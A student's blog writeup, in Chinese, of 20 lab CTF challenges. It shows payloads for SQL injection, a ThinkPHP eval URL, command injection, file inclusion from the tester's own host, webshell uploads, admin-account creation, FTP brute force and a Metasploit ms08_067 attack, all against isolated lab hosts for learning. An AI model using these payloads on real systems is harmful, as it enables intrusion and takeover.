博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
20154312 曾林 ExpFinal CTF Writeup
阅读量:4941 次
发布时间:2019-06-11

本文共 6070 字,大约阅读时间需要 20 分钟。

0.写在前面

我做的免考包括哪些?

  • 参加2018年密码保密与信息安全大赛,获得红蓝对抗第二名,积分7800/8900

  • 完成20道CTF试题,并撰写Writeup

20道题,103张截图,终于这个免考项目还是完成了。

  • 为什么选择CTF作为自己的免考项目?

    拿到key的那一瞬间真的太刺激了,参加完信安大赛之后很怀念这种拿key的感觉。另外就是专业的原因,没有太多的机会去打CTF的比赛,希望能以这种方式让自己爽一把。

  • 做完20道题,截完103张图有什么感受?

    感受就是...拿key挺爽,写writeup挺累。但是写完writeup简直是对拿key过程的一个升华。回顾20道题会发现自己竟然学会了这么多东西,也会去找题目之间的共性,比如...好像有几个题目的靶机445没关(~永恒之蓝还是好用~)。再就是include、exec、ftp漏洞都是上课没有主要讲的,这20道题丰富了我的知识体系,特别是漏洞这块。

  • 一个学期的网络攻防学习终于结束了,想对老师说啥?

    希望能把信安大赛的那套红蓝对抗带到课堂上,还是挺有意思的。实践性比实验还要强。最后就是很感谢老师的指引,为啥不说指导呢,因为我觉得老师最重要的就是教会了我学习的态度,免考项目就是一个很好的例子,前路还长,一起加油吧。

1.不合理的验证方式

题目

一个web系统中管理员账户:admin中有一串key,页面只提供了试用账号密码:test  test ,我们需要登录进admin账户获取key来通过本关。

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627114538560-1036853512.png

2.使用账号密码:test test登录。

906866-20180627114545288-1472932761.png

3.使用Firefox的firebug插件查看cookies。发现只有user段,值为test。

906866-20180627114550188-671478890.png

4.将test修改为admin,再次访问页面,得到key:I am admin

906866-20180703093809526-1433331801.png

906866-20180627114558555-125961292.png

Cookie:判断用户信息的凭据

存储在本地

Test用户登录产生的cookie信息:

906866-20180627114603273-1536402556.png

2.加密与解密的对抗

题目

通过分析加密字符串获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627114607774-713520584.png

2.通过查看源码,查看2个超链接的地址:index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3JhbmtpbmcrbGltaXQrMCUyQzQ=

index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3llYXIrbGltaXQrMCUyQzQ=

906866-20180627114621633-619669727.png

3.2个地址的Word参数是base64加密,将其解密。

906866-20180627114626908-2131935456.png

4.解密后的字符串:SELECT+%2A+FROM+language+order+by+year+limit+0%2C4是url加密,再次解密:

906866-20180627114630801-1407759028.png

5.解密结果是一个sql语句。构造新的语句:SELECT * FROM language order by year将其url加密。

906866-20180627114634467-1048666690.png

6.将得到的字符串base64加密。

906866-20180627114638914-135406358.png

7.得到的加密串构造地址:http://192.168.102.62/index.php?word=U0VMRUNUKyorRlJPTStsYW5ndWFnZStvcmRlcitieSt5ZWFy

8.访问得到key:hello world。

906866-20180627114643063-1726489988.png

3.一个SQL引发的血案

题目

通过sql注入获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627114648872-1650951136.png

2.访问超链接:http://192.168.102.62/index.php?id=1通过修改id的值可以查看到相应排名的语言。

906866-20180627114652921-1562102190.png

3.访问:http://192.168.102.62/index.php?id=1and1=1 返回正确内容。

906866-20180627114656763-934009701.png

4. and 1=2 返回错误内容。

906866-20180627114708235-521566884.png

5.通过上面可以判断存在注入。Kali下使用sqlmap获取数据库内容。

使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” --dbs 查看数据库。

906866-20180627114714321-60587102.png

6.使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” --dump -D “third” 获取数据库内容。得到key:I am sql inject

906866-20180627114718641-764639089.png

4.管理员的诟病

题目

通过sql注入获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627114722769-811169751.png

2.使用kali下的wpscan扫描站点的用户。使用命令wpscan --url “http://192.168.102.62” -e u

906866-20180627114726993-1245768406.png

906866-20180627114730725-1007421260.png

3.将密码字典放在桌面。使用命令:wpscan --url “http://192.168.102.62” --username admin --wordlist /root/Desktop/password.txt

906866-20180627114734622-274189385.png

906866-20180627114742119-1031427505.png

4.使用得到的账号密码登录。后台打开外观->编辑->首页模板。

906866-20180627114745779-1487604707.png

5.粘贴上webshell 代码,保存,访问主页,密码为412587。

906866-20180627114750056-572865621.png

6.打开key.php,得到key:hi wordpress

906866-20180627114753413-11889306.png

5.备份信息的泄露

题目

通过备份文件获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627114758468-1833312514.png

2.使用wwwscan,如图配置扫描

906866-20180627114802344-963331694.png

3.得到结果:

906866-20180627114806637-1030850089.png

4.下载扫到的文件:192.168.102.62/www.zip。解压得到key:Dir fuzz

906866-20180627114812997-1472634904.png

6.svn信息泄露

题目

通过svn备份获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627114818748-1030310464.png

2.使用JSky扫描工具,扫描http://192.168.102.62

906866-20180627114826147-502973078.png

906866-20180627114830135-1965071312.png

3.扫描得到svn的备份信息。访问http://192.168.102.62/.svn/entries

906866-20180627114834639-441718082.png

4.可知站点目录下只存在index.php文件。于是访问:http://192.168.102.62/.svn/text-base/index.php.svn-base查看到的就是php文件的源码。

906866-20180627114838007-2136657672.png

5.得到key:Svn backup

7.coding

题目

通过代码执行漏洞入侵目标

解题过程

1.打开浏览器,访问http://192.168.102.62,发现时thinkphp 2.1版本

906866-20180627114843760-1450481154.png

2.通过搜索引擎,得知此版本存在代码执行漏洞。Poc为index.php/module/action/param1/${@print(THINK_VERSION)}

906866-20180627114846743-1071268539.png

3.根据poc,构造地址:http://192.168.102.62/index.php/module/action/param1/%7B$%7Bphpinfo%28%29%7D%7D

906866-20180627114850332-2109052119.png

4.1.证明存在漏洞。再构造:

http://192.168.102.62/index.php/module/action/param1/{${eval($_POST[s])}}使用菜刀连接,如图配置

i906866-20180627114853904-1845986389.png

5.浏览站点内容

906866-20180627114857543-868107029.png

906866-20180627114900805-759541903.png

6.得到key:thinkphp code execution

8.平衡权限的威胁

题目

通过未授权访问获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627114914066-152879272.png

2.查看源码,观察到超链接有一定规律

906866-20180627114917600-561843403.png

3.构造地址:192.168.102.62/index-2.html ,访问被限制

906866-20180627114921768-926920588.png

4.在主页打开firefox的插件firebug,切换到网络->html选项

906866-20180627114937119-2047085954.png

5.在地址栏输入: 并回车。从响应内容里得到key:Unauthorized Access

906866-20180627114941630-327042483.png

9.文件上传的突破

题目

突破上传限制

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627114948802-1648880466.png

2.随便上传一个jpg文件,显示:

906866-20180627114953031-1259804422.png

3.再上传一个txt文件,显示:

906866-20180627114957467-55402482.png

4.Kali下打开burpsuit,并如图设置代理监听为127.0.0.1:8080

906866-20180627115022934-726119449.png

5.打开浏览器设置http代理为127.0.0.1:8080

906866-20180627115026962-1468852348.png

6.Burpsuit如图设置

906866-20180627115031439-1559442492.png

7.点击上传,拦截到数据包

906866-20180627115035516-374876966.png

8.如图位置修改为image/jpeg ,点击forword

906866-20180627115041752-157098194.png

9.成功上传,得到key:Dangerous MIME

906866-20180627115045654-1796861773.png

10.文件下载的利用

题目

文件下载漏洞的利用

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627115049693-125657629.png

2.文件可正常下载,访问http://192.168.102.62/images/Desert.jpg 可得到相同的图片

906866-20180627115056002-795459582.png

3.查看此文件下载地址为:构造新地址:http://192.168.102.62/index.php?file=../index.php下载得到index.php文件,打开得到key: keep going

906866-20180627115101981-67853149.png

11.include的沦陷

题目

通过文件包含执行代码

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627115109379-202107618.png

2.观察url地址,访问:出现报错

906866-20180627115114785-1835622185.png

3.确定存在文件包含漏洞,且可能可以远程包含。由于测试机和服务器可以互访,所以本地搭建web环境,web根目录存放test.txt文件,内容为:

4.接下来访问:http://192.168.102.62/index.php?lang=http://192.168.102.61/test.txt查看源码,得到key:Remote File Include

906866-20180627115121229-1739046111.png

12.include的沦陷(二)

题目

通过文件包含获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627115131000-754608927.png

2.观察url地址,访问: 出现报错

906866-20180627115135693-1737641767.png

3.由此判断存在本地包含漏洞。构造地址:访问得到key:Local File Include

906866-20180627115141505-1741518722.png

13.exce的沦陷

题目

使用命令执行获取权限

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627115147561-1719280258.png

2.输入 127.0.0.1并提交

906866-20180627115151635-1033778826.png

3.填写127.0.0.1 | ipconfig 提交

906866-20180627115155990-1351328775.png

4.可知目标系统存在命令执行漏洞。执行:127.0.0.1 | type c:\key.txt 可以读取到c盘写key.txt的内容

906866-20180627115201825-1045851215.png

14.ftp的逆袭

题目

通过ftp获取网站权限

解题过程

1.打开cmd,输入ftp 192.168.102.62 连接ftp服务器,发现提示用户名为:ftp

906866-20180627115206951-1202906870.png

2.如图配置参数,线程限制在20,端口设置为21 :

906866-20180627115214756-1335767253.png

3.点击字典,添加我们的爆破字典

906866-20180627115219597-1025304288.png

4.点击扫描弱口令,选择扫描ftp弱口令

906866-20180627115225296-1237031389.png

5.扫描出弱口令账号ftp,密码ftp,登陆上去,发现是web目录

906866-20180627115229597-467014092.png

6.连接ftp,上传webshell

906866-20180627115235229-1395377412.png

7.浏览器访问192.168.102.62/php.php

906866-20180627115238876-1551631872.png

8.点击web shell,添加用户,分别执行:

net user test test /add net localgroup administrators test /add

906866-20180627115243719-2043406143.png

906866-20180627115247839-475552847.png

9.远程连接服务器。用账号test 密码test 登陆

906866-20180627115252312-1034725418.png

906866-20180627115257003-822846495.png

15.ftp的漏洞

题目

通过ftp漏洞获取网站权限

解题过程

1.打开终端,输入ftp 192.168.102.62 连接ftp服务器,发现ftp服务软件为Gabriel’s ftp server

906866-20180627115302561-918697768.png

2.通过搜索引擎,查找版本找到资料:http://www.exploit-db.com/exploits/27401/

3.下载攻击脚本27401.py放在桌面,修改为如下:

906866-20180627115308618-1947827710.png

4.打开新终端并切换到桌面,执行python 27401.py

906866-20180627115314978-678174809.png

5.得到key:ftp bypass

906866-20180627115323265-1134579888.png

16.幽灵的Remote Desktop

题目

通过远程桌面连接获取目标权限

解题过程

1.打开爆破工具,填入目标ip,选择3389端口,开始扫描

906866-20180627115328530-64311515.png

2.点击添加字典,添加想爆破的账号密码

906866-20180627115332224-1277429848.png

3.点击扫描弱口令,选择扫描3389弱口令

906866-20180627115336300-855892303.png

4.最终得到弱口令:administrator 123456

906866-20180627115339978-1115772984.png

5.远程登录192.168.102.63,使用账号administrator 密码123456

906866-20180627115343889-1908781592.png

17.无法爆破的密码

题目

过远程桌面连接获取目标权限

解题过程

1.远程连接192.168.102.63

906866-20180627115350370-823288098.png

2.在此页面下连续敲击shift键,弹出别人留下的后门

906866-20180627115354056-1472856028.png

3.在cmd执行

net user test test /addnet localgroup administrators test /add

906866-20180627115401227-1763286981.png

4.使用账号密码test test 登陆

906866-20180627115405765-631450373.png

18.IIS ghost

题目

通过IIS漏洞获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

906866-20180627115410939-2028941671.png

2.因为iis + webdav环境可能存在iis put漏洞,所以我们使用IISPutScanner扫描。如图配置并扫描

906866-20180627115415687-677116214.png

3.扫到漏洞。使用iiswrite进行提权,写入asp木马到服务器。填写域名,再如图选择put。选择asp木马

906866-20180627115421226-1280586732.png

906866-20180627115424751-1953126637.png

4.点击提交数据包,成功上传

906866-20180627115428156-1493922373.png

5.再如图选择move,点击提交数据包

906866-20180627115432916-398749957.png

6.成功后访问http://192.168.102.62/shell.asp,使用密码admin登陆

906866-20180627115437418-1541254293.png

7.选择key.asp,点击编辑,得到key:put and write.

906866-20180627115441134-1746208657.png

906866-20180627115445313-23542666.png

19.xampp

题目

通过xampp漏洞获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62,发现跳转到而且得知其版本为 1.7.3

906866-20180627115522795-1520771522.png

2.通过搜索引擎,知道此版本存在一个漏洞可以读取目标主机上的文件http://www.exploit-db.com/exploits/15370/

906866-20180627115527743-571568750.png

3.通过poc,我们构造:http://192.168.102.62/xampp/showcode.php/c:boot.ini?showcode=1访问地址可以得到我们需要的key

906866-20180627115532635-1703566586.png

20.dangerous 445

题目

通过系统远程溢出控制目标主机

解题过程

1.打开nessus,使用网络漏洞扫描,扫描主机192.168.102.62

906866-20180627115538504-802440831.png

2.查看扫描结果,发现存在漏洞,基于445端口,可远程溢出。使用ms08-67漏洞攻击

906866-20180627115544837-1002026662.png

3.打开msfconsole,使用攻击模块Use exploit/windows/smb/ms08_067_netap,设置目标ip:set RHOST 192.168.102.62exploit

906866-20180627115555589-2064542024.png

4.成功攻击后输入cat c:\key.txt 显示c盘下的key.txt文件,得到key:you win

906866-20180627115601494-36241232.png

转载于:https://www.cnblogs.com/zl20154312/p/9233012.html

你可能感兴趣的文章
gdb命令
查看>>
Orders
查看>>
java 单例模式
查看>>
2014 ACM/ICPC Asia Regional Beijing Site
查看>>
C#通过字符串分割字符串Split
查看>>
mysql 密码忘记
查看>>
VB程序逆向常用的函数
查看>>
转:Delphi中destroy, free, freeAndNil, release用法和区别
查看>>
Yii2框架之旅(六)
查看>>
springmvc.xml或spring.xml 能运行配置文件总是出现错误
查看>>
Team Foundation Server
查看>>
javascript之BOM对象总结
查看>>
mySQL 插入,更新和删除数据
查看>>
redis 和 memcached的区别
查看>>
sendEmail
查看>>
NYOJ 46 最少乘法次数
查看>>
linux locate
查看>>
NoSQL Redis的学习笔记
查看>>
[LeetCode] Interleaving String 交织相错的字符串
查看>>
[LeetCode] Two Sum IV - Input is a BST 两数之和之四 - 输入是二叉搜索树
查看>>